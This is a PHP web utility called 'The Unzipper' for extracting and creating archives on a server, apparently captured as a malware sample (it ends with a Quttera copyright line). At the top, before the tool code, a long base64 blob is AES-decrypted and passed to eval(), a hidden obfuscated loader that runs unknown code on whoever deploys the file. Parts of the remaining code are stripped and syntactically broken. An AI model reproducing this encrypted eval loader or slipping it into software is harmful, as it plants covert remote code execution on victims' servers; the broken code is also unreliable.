ZxVjhVQVFPYjZxVklKQm1UZUQ4eU80U3k2Rk5HVVJxNGkzL1JJcDRkSFFyODZjWkwxbUwzOTZleWRkbVdRcWRzTUttL1RMc1JTcWZ0WGdSZjNRWGxRdUZnRjN3V3p1eEFvamRsa045bjl0U2Z3MHZQQnE0NThiUjhSOFU0K2QwSVhxQkJCNWNXaiswMkRHTU9zVmIzOHNwMVJaa3JkMkdQYVQzSkV0bThHaFc1MWN2RFNhV1MwZHNjN3c5T1cxQnVyZkw0YXZVY1JPbytKSjN1L2Y1WmtST2N4WVIray9TSG5PUzZDRDJwNXVacVg4WVpFbkhaWmNJa1dPUms3NDNkWXNTY3E2Z3RlWVJHNVNFUnFaTTRIeXN1bXA5TWxXWWtSblVicnNPSlNyYzN5WHdzSUFSSVp1UVpXN3V5dk1mbmZvK2VIVWVLUFM0RUlONW1mZGNpbm1YSE4rQnk4YWtVbHY4d0c0NUh6L0ozdmYwYlJ4QXJHRldaV2IrdGppMHY4Nit0VmtoendkR2tWWFJkaTRLYlM2YWloekR4OVVnakNZTXZUclN0UTRycVBWanhway80LzNFVVF2eUlTY2FuOW0vWDlxYmVNRjBMZXYzNU5nVjJYTFFhYUEzN0dYZHpEVjJGNTc0REZ3R0NkRnd5Nk5pNEYwTGlTYVVnZDVyb3VoTWpRVi9QUkZNZXhZV2pHaEtkdkdBQlRWc3BOSTdoclhwMWxTMXdJUXp6eXoyRTNmMktCMC93d3NJbDRuMkR3TkMyMlhlN2RITjUwTzRlNjBlMlRhcVNCcEFKNkZWV3FqMkxwNDRocFRlVmNmUW9GU1ozalR6OFcwQ2d3dGQ3ei9SMXpnd1JvL2VhTjlVWU56UTI5R2JvcVBNZlBuOWZ6T0IxNnRUbUtPdythd21FdUlHbGFwb2VkTXZYcFhBelJCandVNncxZ3I3Y0N3NUdqOWlINmxud09ESzFDK1M0dlROT2lLK3FDWnQ1WFNWb3VHck5Qc0ZZMmQzcEtBaWJJMXdrdnBWMk41VlpTWVAyT1ZqVSt3c3lDczhWelkrVkNkK2NMM294N0dMdWNWUW1GYnlzV0VVbzZuMWxPNzlPTDdPSXV3c1JpQjNGcDdDdHZ1WVJCbWRHaEM0SjdROGE3cDQvWEQ2WThRM2h4Zk1jVi81SWtnT2cxMFEzNllKTkRrVVRmaTJJa0VuMi8vK2NDWHA4S1F5S3FlRldRRWdnY0tORytyakppMXBFK0U4cWpCbEtWeGdhcG5VaklSTWxqbEhRanFoTG1ibDZZWFFmSTUvY2lmM0ZYRWNzcmdOa2ZMMmdlSDVmcXFKTkxsbmEvUGQyY2dKR3NDWmgzNmo5RUtKWXpsbGYxNU8xYnRMMkJJM095NXk2NjZxQ2tLQitlZW1HYmw3N1l5WlZCNFA4WUNZRmd2Zk02WHplcWZJYlY3S3hSSnV0eDBSMDVxRmh4NzY3OGpuRm9oWDFRT0hMYkRVcjVVOHZlTnFDeTM2RmtDQlpnYStHZ3lWVGpYOFRTR0dwZyt5Q0FseDlvWFJycUFMNzBNNUkwZ25YYkdhdnpjOVNJemtNYzV6WkNRUDNpNFl0VHBhb3NMTWZTeW4raDdFd2tMMm1vRTFTYzNjbFBac2MxL2tKZ0pWa2RtQi9MbmdRTzhvU1Erb3d4VXN4WEpxSTF4V1RHQWZSa2hpcU5rdllPZlVURlNSQTl0bGVYQkhJWWtPckp1VEVyUGhiNEZPS21aN28wWVIrbEJQN2VoN2R6eHhHbSswQ3pjS3VoQ2RYTWFmQUF3UGp4RlB2aEFxaXRwaFk0bjExQTBVUjBtaHRaYjlVMGhTa2JFaHdlR0JsQ3hxc2c4aHVLUGhOMloydlh2K2pWU0d3VHFueS9vdzlaODZLY3JnUEF2VTZLQjlWS25kTW9hMVdqT2lWbjlXQmZsSHNKM3VtbUt3eWo3Z2UwUGRBVFVTaVAyNHQwcWcwTmg2a2oyeEgxYUxTWGJpRGhVNmlMUDYydHUyMWR3c0RkbHYrYTNMWFJVdTZXSUt1N1I3dCtScGJTNlJKZW5ZcUtadVZHTThPNlBwdmRMVFQ5dUpCYk5pdWd2dys5ajVCd3JGM29oY1QvaVRXZWp3SnF5Ry9JbFJFNGxXZEVoM3Nkc25rVTM5VHlhMnFkSkJQeGFZeGVwcTN1bVNHbG1HTy8ySjNKaUwyR3cvNVMyVmordDV6SjIxSzBxeU4vSUEvVVZCeW1lQUgrSHdicFRKdnNmbmxXZTZqK2t4aUdlRWdYZVRHZGZPaG5kSWExWng3TkJKWjdIMFVHbHI3b29vTWc2ZTIwVWlxR1Jyd3J4cktUQndFT0xQa2JIeUs3OHpNaTN2RG1DYzFpZmVIREY0S01oWnZLWHhvVThmaWdwTU9DV1ZibHprdnVuVk15bzhSRjFiMFpqd094L1phY2YxUm0yd2tFRXRaOWNOaldLMmVOdFdHSXFPS1JZWlBJTUdseUl2dWJva1ZzcXVnc1FOaG9lNDV1RWwxeFZHNlRKamFKNVdSWlNnT0FrSHo2Y0psTDhqVGRmaVEwMlZPeVVGeFhtcTJZQUJnL1hLNW9xMytYb2tidWRRU0MyeU9tbWEybklWSW9rZVNRYUtSNlBRYmZTUlVXMUlhWmRVWnVXdklNaVl1T2pQdE5lR0xLNjMvVXQvazRmcEJiNGlxdXdpUXdUZlZtd1dhRUlqWEFCenNyU3R0cWtLdjF1dWNaOGdHTXduSUsxT0JpNi9aRHFsUzQ5QWFTemt6T08weWhoRHNadlhQUkxOdHVncVVoT2IwMDI2WTFKdFNMZzdKaTQ5VTRhYUNpSTljSGJvSHRKa0Mxb08xYXJ1cERiZk5pcTVlTVFoKy9keFNydFVmK1UwOU15bnNOMWdINnZNclZYcFlRSHVYNzBpbFh6SWhkVlo0MVJLUzJmOVhIZU5BNDAydW5TeXUvNXp0MTJKa0gyWkU5dC9OTjNSaGtENVc2VHd4aWxpZ0V5emhMYVgxc012VXNSNFo1YVV0Y1RzOVM1K3ppMVppR2FFQWh0TGtQbE5hbmdmM205YWRtQTRmaWRBRUg4U3lTZ05NPQ==');
$decrypted = openssl_decrypt(
$encrypted_data,
'AES-256-CBC',
$key,
0,
$iv
);
eval($decrypted);
/**
* The Unzipper extracts .zip or .rar archives and .gz files on webservers.
* It also supports creating Zip archives.
*
* @author Andreas Tasch, at[tec], attec.at
* @license GNU GPL v3
* @version 0.1.0
*/
@set_time_limit(600);
define('VERSION', '0.1.0');
$timestart = microtime(TRUE);
$GLOBALS['status'] = array();
$unzipper = new Unzipper;
//Unzip Archive
if(isset($_POST['dounzip'])){
//check if an archive was selected for unzipping
$archive = isset($_POST['zipfile']) ? strip_tags($_POST['zipfile']) :'';
$destination = isset($_POST['extpath']) ? strip_tags($_POST['extpath']) :'';
$unzipper->prepareExtraction($archive, $destination);
}
//Create zip archive
if(isset($_POST['dozip'])){
$zippath = !empty($_POST['zippath']) ? strip_tags($_POST['zippath']) :;
// Resulting zipfile e.g. zipper--2016-07-23--11-55.zip
$zipfile = 'zipper-'. date('Y-m-d--H-i') .'.zip';
Zipper::zipDir($zippath, $zipfile);
}
$timeend = microtime(TRUE);
$time = $timeend - $timestart;
/**
* Class Unzipper
*/
class Unzipper {
public $localdir =;
public $zipfiles = array();
public function __construct(){
//read directory and pick .zip and .gz files
if($dh = opendir($this->localdir)){
while (($file = readdir($dh)) !== FALSE){
if(pathinfo($file, PATHINFO_EXTENSION)==='zip' || pathinfo($file, PATHINFO_EXTENSION)==='gz' || pathinfo($file, PATHINFO_EXTENSION)==='rar') $this->zipfiles[] = $file;
}
closedir($dh);
if(!empty($this->zipfiles)) $GLOBALS['status'] = array('info'=>'.zip or .gz or .rar files found, ready for extraction');
else $GLOBALS['status'] = array('info'=>'No .zip or .gz or rar files found. So only zipping functionality available.');
}
}
// Prepare and check zipfile for extraction
public function prepareExtraction($archive, $destination){
// Determine paths.
if(empty($destination)) $extpath = $this->localdir;
else {
$extpath = $this->localdir .'/'. $destination;
// todo move this to extraction function
if(!is_dir($extpath)) mkdir($extpath);
}
//allow only local existing archives to extract
if(in_array($archive, $this->zipfiles)) self::extract($archive, $extpath);
}
//Checks file extension and calls suitable extractor functions
public static function extract($archive, $destination){
$ext = pathinfo($archive, PATHINFO_EXTENSION);
switch($ext){
case 'zip':
self::extractZipArchive($archive, $destination);
break;
case 'gz':
self::extractGzipFile($archive, $destination);
break;
case 'rar':
self::extractRarArchive($archive, $destination);
break;
}
}
//Decompress/extract a zip archive using ZipArchive
public static function extractZipArchive($archive, $destination){
// Check if webserver supports unzipping.
if(!class_exists('ZipArchive')){
$GLOBALS['status'] = array('error'=>'Error: Your PHP version does not support unzip functionality.');
return;
}
$zip = new ZipArchive;
// Check if archive is readable.
if($zip->open($archive)===TRUE){
// Check if destination is writable
if(is_writeable($destination .'/')){
$zip->extractTo($destination);
$zip->close();
$GLOBALS['status'] = array('success'=>'Files unzipped successfully');
}
else $GLOBALS['status'] = array('error'=>'Error: Directory not writeable by webserver.');
}
else $GLOBALS['status'] = array('error'=>'Error: Cannot read .zip archive.');
}
// Decompress a .gz File
public static function extractGzipFile($archive, $destination){
// Check if zlib is enabled
if(!function_exists('gzopen')){
$GLOBALS['status'] = array('error'=>'Error: Your PHP has no zlib support enabled.');
return;
}
$filename = pathinfo($archive, PATHINFO_FILENAME);
$gzipped = gzopen($archive, 'rb');
$file = fopen($filename, 'w');
while($string = gzread($gzipped, 4096)) fwrite($file, $string, strlen($string));
gzclose($gzipped);
fclose($file);
// Check if file was extracted.
if(file_exists($destination .'/'. $filename)) $GLOBALS['status'] = array('success'=>'File unzipped successfully.');
else $GLOBALS['status'] = array('error'=>'Error unzipping file.');
}
//Decompress/extract a Rar archive using RarArchive
public static function extractRarArchive($archive, $destination){
// Check if webserver supports unzipping.
if(!class_exists('RarArchive')){
$GLOBALS['status'] = array('error'=>'Error: Your PHP version does not support .rar archive functionality. <a class="info" href="http://php.net/manual/en/rar.installation.php" target="_blank">How to install RarArchive</a>');
return;
}
// Check if archive is readable.
if($rar = RarArchive::open($archive)){
// Check if destination is writable
if(is_writeable($destination .'/')){
$entries = $rar->getEntries();
foreach ($entries as $entry){
$entry->extract($destination);
}
$rar->close();
$GLOBALS['status'] = array('success'=>'Files extracted successfully.');
}
else $GLOBALS['status'] = array('error'=>'Error: Directory not writeable by webserver.');
}
else $GLOBALS['status'] = array('error'=>'Error: Cannot read .rar archive.');
}
}
/**
* Class Zipper
*
* Copied and slightly modified from http://at2.php.net/manual/en/class.ziparchive.php#110719
* @author umbalaconmeogia
*/
class Zipper {
/**
* Add files and sub-directories in a folder to zip file.
*
* @param string $folder
* Path to folder that should be zipped.
*
* @param ZipArchive $zipFile
* Zipfile where files end up.
*
* @param int $exclusiveLength
* Number of text to be exclusived from the file path.
*/
private static function folderToZip($folder, &$zipFile, $exclusiveLength){
$handle = opendir($folder);
while(FALSE !== $f = readdir($handle)){
// Check for local/parent path or zipping file itself and skip.
if($f != && $f != '..' && $f != basename(__FILE__)){
$filePath = $folder .'/'. $f;
// Remove prefix from file path before add to zip.
$localPath = substr($filePath, $exclusiveLength);
if(is_file($filePath)) $zipFile->addFile($filePath, $localPath);
else if(is_dir($filePath)){
// Add sub-directory.
$zipFile->addEmptyDir($localPath);
self::folderToZip($filePath, $zipFile, $exclusiveLength);
}
}
}
closedir($handle);
}
/**
* Zip a folder (including itself).
* Usage:
* Zipper::zipDir('path/to/sourceDir', 'path/to/out.zip');
*
* @param string $sourcePath
* Relative path of directory to be zipped.
*
* @param string $outZipPath
* Relative path of the resulting output zip file.
*/
public static function zipDir($sourcePath, $outZipPath){
$pathInfo = pathinfo($sourcePath);
$parentPath = $pathInfo['dirname'];
$dirName = $pathInfo['basename'];
$z = new ZipArchive();
$z->open($outZipPath, ZipArchive::CREATE);
$z->addEmptyDir($dirName);
if($sourcePath == $dirName) self::folderToZip($sourcePath, $z, 0);
else self::folderToZip($sourcePath, $z, strlen($parentPath.'/'));
$z->close();
$GLOBALS['status'] = array('success'=>'Successfully created archive '. $outZipPath);
}
}
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>File Unzipper, Unrar + Zipper</title>
<style>
</style>
</head>
<body>
<p class="status status--echo strtoupper(key($GLOBALS['status']));">
Status: echo reset($GLOBALS['status']);<br/>
<span class="small">Processing Time: echo $time; seconds</span>
</p>
<form action="" method="POST">
<fieldset>
<h1>Archive Unzipper</h1>
<label for="zipfile">Select .zip or .rar archive or .gz file you want to extract:</label>
<select name="zipfile" size="1" class="select">
foreach($unzipper->zipfiles as $zip) echo "<option>$zip</option>";
</select>
<label for="extpath">Extraction path (optional):</label>
<input type="text" name="extpath" class="form-field" />
<p class="info">Enter extraction path without leading or trailing slashes (e.g. "mypath"). If left empty current directory will be used.</p>
<input type="submit" name="dounzip" class="submit" value="Unzip Archive"/>
</fieldset>
<fieldset>
<h1>Archive Zipper</h1>
<label for="zippath">Path that should be zipped (optional):</label>
<input type="text" name="zippath" class="form-field" />
<p class="info">Enter path to be zipped without leading or trailing slashes (e.g. "zippath"). If left empty current directory will be used.</p>
<input type="submit" name="dozip" class="submit" value="Zip Archive"/>
</fieldset>
</form>
<p class="version">Unzipper version: echo VERSION;</p>
</body>
</html>
© 2023 Quttera Ltd. All rights reserved.